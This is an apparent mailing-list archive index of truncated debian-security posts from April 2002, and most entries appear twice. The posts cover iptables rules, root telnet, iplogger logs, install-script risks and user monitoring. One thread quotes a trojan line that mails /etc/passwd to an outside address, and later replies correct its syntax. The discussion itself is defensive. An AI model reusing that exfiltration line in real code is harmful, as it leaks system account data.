Re: About user monitoring

2002-04-17 Thread Peter Cordes
On Wed, Apr 17, 2002 at 01:45:09AM +0200, martin f krafft wrote: > also sprach Halil Demirezen <[EMAIL PROTECTED]> [2002.04.16.1911 +0200]: > > > > I am planning to write code that will load the users terminal screens to > > my screen. And root will surely manage that. Is there anyone to tell me

unsubscribe

2002-04-17 Thread DomenICO
-- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]

Re: does virus ELF.OSF.8759 affect debian?

2002-04-17 Thread Jussi Ekholm
Anne Carasik <[EMAIL PROTECTED]> wrote: > Compile from source is a good idea too. It's amazing what you > can find in the source. I found a couple of stupid Trojans > that way. > >system("mail /etc/passwd [EMAIL PROTECTED]"); Oh shit, that's evil. Where did you manage a software including t

Re: Iptables config

2002-04-17 Thread Mathias Palm
... > > I use the connection-tracking support, so I can drop everything except > traffic related to a connection I opened. This is what I use (NAT stuff > omitted): > > iptables -t filter -P FORWARD ACCEPT > iptables -t filter -P INPUT DROP > iptables -t filter -P OUTPUT ACC

Re: does virus ELF.OSF.8759 affect debian?

2002-04-17 Thread Bryan Andersen
Anne Carasik wrote: > > On Wed, Apr 10, 2002 at 10:52:38AM -0700, Brandon High wrote: > > And another reason not to run as root... > > Compile from source is a good idea too. It's amazing what you > can find in the source. I found a couple of stupid Trojans > that way. > >system("mail /etc/

Re: does virus ELF.OSF.8759 affect debian?

2002-04-17 Thread Anne Carasik
On Wed, Apr 17, 2002 at 12:13:46PM +0300, Jussi Ekholm wrote: > Anne Carasik <[EMAIL PROTECTED]> wrote: > > Compile from source is a good idea too. It's amazing what you > > can find in the source. I found a couple of stupid Trojans > > that way. > > > >system("mail /etc/passwd [EMAIL PROTECT

Re: does virus ELF.OSF.8759 affect debian?

2002-04-17 Thread Anne Carasik
On Wed, Apr 17, 2002 at 05:06:03PM -0500, Bryan Andersen wrote: > > Compile from source is a good idea too. It's amazing what you > > can find in the source. I found a couple of stupid Trojans > > that way. > >system("mail /etc/passwd [EMAIL PROTECTED]"); > Yeh, and it's buggy too > Take a

Re: does virus ELF.OSF.8759 affect debian?

2002-04-17 Thread Tim Nicholas
On Wed, Apr 17, 2002 at 03:31:17PM -0700, Anne Carasik wrote: > On Wed, Apr 17, 2002 at 05:06:03PM -0500, Bryan Andersen wrote: > > > Compile from source is a good idea too. It's amazing what you > > > can find in the source. I found a couple of stupid Trojans > > > that way. > > >system("mail

Allow root to telnet

2002-04-17 Thread Michael Watts
Hi,   I am having trouble with a few services and want to allow root to telnet to a Debian 2.2r5 system for testing purposes, but can not find the way to allow this to happen.   I have had a look through the man pages, and looked into /etc/securetty but get stuck there. Do I have to add an en

Re: Allow root to telnet

2002-04-17 Thread Jay Kline
> Also, how would I allow telnet to accessed on more than one port at a > time. I may need to allow it on port 23 and (omniback backup > software port), but can only seem to allow one or the other, not both. > How can I allow both 23 and to accept telnet? Assuming you fully understand wh

one more iplogger question.

2002-04-17 Thread Jussi Ekholm
Hi again. I'm asking about iplogger (1.1-11) again, as I came across and entry which I haven't seen before. I tried a quick (very quick) Google search too, but I didn't find an answer to my question. Here it is: Wed Apr 17 14:26:25 port 16001 connection attempt from localhost [127.0.0.1] Wed Apr

Re: Iptables config

2002-04-17 Thread Peter Cordes
On Thu, Sep 20, 2001 at 05:05:11AM +0200, Mathias Palm wrote: > ... > > > > > I use the connection-tracking support, so I can drop everything except > > traffic related to a connection I opened. This is what I use (NAT stuff > > omitted): > > > > iptables -t filter -P FORWARD ACCEPT > >

Re: one more iplogger question.

2002-04-17 Thread A.J. Rossini
> "jussi" == Jussi Ekholm <[EMAIL PROTECTED]> writes: jussi> What software tries to connect to port 16001? Or does anything? What jussi> should I think about this entry? I admit, I'm *overly* paranoid, when jussi> it comes to running services on my own computer. Any input is j

Re: does virus ELF.OSF.8759 affect debian?

2002-04-17 Thread Peter Cordes
On Thu, Apr 18, 2002 at 11:02:12AM +1200, Tim Nicholas wrote: > I think he is saying that it should be somthing more like > system("mail [EMAIL PROTECTED] < /etc/passwd"); > > But since i dont really know c, you might not be able to use '<' in > system calls... it seems likey though. The

Guarding against evil software installation scripts?

2002-04-17 Thread Tim Freeman
At the moment my system has 876 packages installed. They were all installed by root. Each package gets a chance to run an arbitrary shell script as root, so it seems to me that there must have been much more than 876 opportunities for my system to get utterly destroyed by absolute strangers. S

Re: one more iplogger question.

2002-04-17 Thread A.J. Rossini
> "a" == A J Rossini <[EMAIL PROTECTED]> writes: > "jussi" == Jussi Ekholm <[EMAIL PROTECTED]> writes: jussi> What software tries to connect to port 16001? Or does anything? What jussi> should I think about this entry? I admit, I'm *overly* paranoid, when jussi> it comes to ru

RE: Guarding against evil software installation scripts?

2002-04-17 Thread Howland, Curtis
> I don't see a clear path to doing this the "right" way, where chaos is > prevented by something more substantial than a social convention. > > I have to admit that the social convention is working very well at the > moment, though. > > -- > Tim Freeman > [EMAIL PROTECTED] At some poi

Re: About user monitoring

2002-04-17 Thread J C Lawrence
On Tue, 16 Apr 2002 20:11:29 +0300 (EEST) Halil Demirezen <[EMAIL PROTECTED]> wrote: > I am planning to write code that will load the users terminal screens > to my screen. And root will surely manage that. Is there anyone to > tell me any link which contains information about this subject. Goog

Offtopic RE: About user monitoring

2002-04-17 Thread Howland, Curtis
> Nathan Norman - Micromuse Ltd. mailto:[EMAIL PROTECTED] > Gil-galad was an Elven-king.| The Fellowship > Of him the harpers sadly sing: |of > the last whose realm was fair and free | the Ring > between the Mountains and the Sea. | J.R.R. Tolkien A king o

Re: About user monitoring

2002-04-17 Thread Peter Cordes
On Wed, Apr 17, 2002 at 01:45:09AM +0200, martin f krafft wrote: > also sprach Halil Demirezen <[EMAIL PROTECTED]> [2002.04.16.1911 +0200]: > > > > I am planning to write code that will load the users terminal screens to > > my screen. And root will surely manage that. Is there anyone to tell me >

unsubscribe

2002-04-17 Thread DomenICO
-- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]

Re: does virus ELF.OSF.8759 affect debian?

2002-04-17 Thread Jussi Ekholm
Anne Carasik <[EMAIL PROTECTED]> wrote: > Compile from source is a good idea too. It's amazing what you > can find in the source. I found a couple of stupid Trojans > that way. > >system("mail /etc/passwd [EMAIL PROTECTED]"); Oh shit, that's evil. Where did you manage a software including th

Re: Iptables config

2002-04-17 Thread Jussi Ekholm
Michal Melewski <[EMAIL PROTECTED]> wrote: > Lars Roland Kristiansen wrote: >> I am no iptables guro, i just want to close all exept from >> ssh(port 22), pop3(port 110) and imap(port143). Is there and >> easy way to do this. > > Sure it is easy... I was just wondering, if some experienced

Re: Iptables config

2002-04-17 Thread Sami Dalouche
Here's a set of rules to replace ipmasq's ones.. when I created these rules, I wasn't aware of the great job done by shorewall's developpers, so I wrote rules to replace ipmasq's ones. (instead of write conf. files for shorewall, which would have been way more useful...) Have fun, rip ideas, do wh

Re: Iptables config

2002-04-17 Thread Martin Peikert
Jussi Ekholm wrote: Michal Melewski <[EMAIL PROTECTED]> wrote: Lars Roland Kristiansen wrote: I am no iptables guro, i just want to close all exept from ssh(port 22), pop3(port 110) and imap(port143). Is there and easy way to do this. Sure it is easy... I was just wondering, if so

invalid html

2002-04-17 Thread Michael Devogelaere
Hi, The html-code of DSA-127 contains an error: on line 104, column 55, the is closing a paragraph which never started. This is probably not worth a new bug-report but i'm using some tools to parse the DSA's and these tools expect correct html-code. Can somebody please correct that html-code ?

Re: Iptables config

2002-04-17 Thread Peter Cordes
On Wed, Apr 17, 2002 at 01:09:27PM +0200, Martin Peikert wrote: > Jussi Ekholm wrote: > >I was just wondering, if some experienced iptables users could give me, > >at least some, opinions about my iptables rules. It is supposed to close > >all the other ports, but leave 1050, and 8080 open. He

Re: Iptables config

2002-04-17 Thread Mathias Palm
... > > I use the connection-tracking support, so I can drop everything except > traffic related to a connection I opened. This is what I use (NAT stuff > omitted): > > iptables -t filter -P FORWARD ACCEPT > iptables -t filter -P INPUT DROP > iptables -t filter -P OUTPUT ACCE

Re: does virus ELF.OSF.8759 affect debian?

2002-04-17 Thread Bryan Andersen
Anne Carasik wrote: > > On Wed, Apr 10, 2002 at 10:52:38AM -0700, Brandon High wrote: > > And another reason not to run as root... > > Compile from source is a good idea too. It's amazing what you > can find in the source. I found a couple of stupid Trojans > that way. > >system("mail /etc/p

Re: does virus ELF.OSF.8759 affect debian?

2002-04-17 Thread Anne Carasik
On Wed, Apr 17, 2002 at 12:13:46PM +0300, Jussi Ekholm wrote: > Anne Carasik <[EMAIL PROTECTED]> wrote: > > Compile from source is a good idea too. It's amazing what you > > can find in the source. I found a couple of stupid Trojans > > that way. > > > >system("mail /etc/passwd [EMAIL PROTECTE

Re: does virus ELF.OSF.8759 affect debian?

2002-04-17 Thread Anne Carasik
On Wed, Apr 17, 2002 at 05:06:03PM -0500, Bryan Andersen wrote: > > Compile from source is a good idea too. It's amazing what you > > can find in the source. I found a couple of stupid Trojans > > that way. > >system("mail /etc/passwd [EMAIL PROTECTED]"); > Yeh, and it's buggy too > Take a

Re: does virus ELF.OSF.8759 affect debian?

2002-04-17 Thread Tim Nicholas
On Wed, Apr 17, 2002 at 03:31:17PM -0700, Anne Carasik wrote: > On Wed, Apr 17, 2002 at 05:06:03PM -0500, Bryan Andersen wrote: > > > Compile from source is a good idea too. It's amazing what you > > > can find in the source. I found a couple of stupid Trojans > > > that way. > > >system("mail

Allow root to telnet

2002-04-17 Thread Michael Watts
Hi,   I am having trouble with a few services and want to allow root to telnet to a Debian 2.2r5 system for testing purposes, but can not find the way to allow this to happen.   I have had a look through the man pages, and looked into /etc/securetty but get stuck there. Do I have to add an en

Re: Allow root to telnet

2002-04-17 Thread Jay Kline
> Also, how would I allow telnet to accessed on more than one port at a > time. I may need to allow it on port 23 and (omniback backup > software port), but can only seem to allow one or the other, not both. > How can I allow both 23 and to accept telnet? Assuming you fully understand wha

one more iplogger question.

2002-04-17 Thread Jussi Ekholm
Hi again. I'm asking about iplogger (1.1-11) again, as I came across and entry which I haven't seen before. I tried a quick (very quick) Google search too, but I didn't find an answer to my question. Here it is: Wed Apr 17 14:26:25 port 16001 connection attempt from localhost [127.0.0.1] Wed Apr 1

Re: Iptables config

2002-04-17 Thread Peter Cordes
On Thu, Sep 20, 2001 at 05:05:11AM +0200, Mathias Palm wrote: > ... > > > > > I use the connection-tracking support, so I can drop everything except > > traffic related to a connection I opened. This is what I use (NAT stuff > > omitted): > > > > iptables -t filter -P FORWARD ACCEPT > >

Re: one more iplogger question.

2002-04-17 Thread A.J. Rossini
> "jussi" == Jussi Ekholm <[EMAIL PROTECTED]> writes: jussi> What software tries to connect to port 16001? Or does anything? What jussi> should I think about this entry? I admit, I'm *overly* paranoid, when jussi> it comes to running services on my own computer. Any input is ju

Re: does virus ELF.OSF.8759 affect debian?

2002-04-17 Thread Peter Cordes
On Thu, Apr 18, 2002 at 11:02:12AM +1200, Tim Nicholas wrote: > I think he is saying that it should be somthing more like > system("mail [EMAIL PROTECTED] < /etc/passwd"); > > But since i dont really know c, you might not be able to use '<' in > system calls... it seems likey though. The p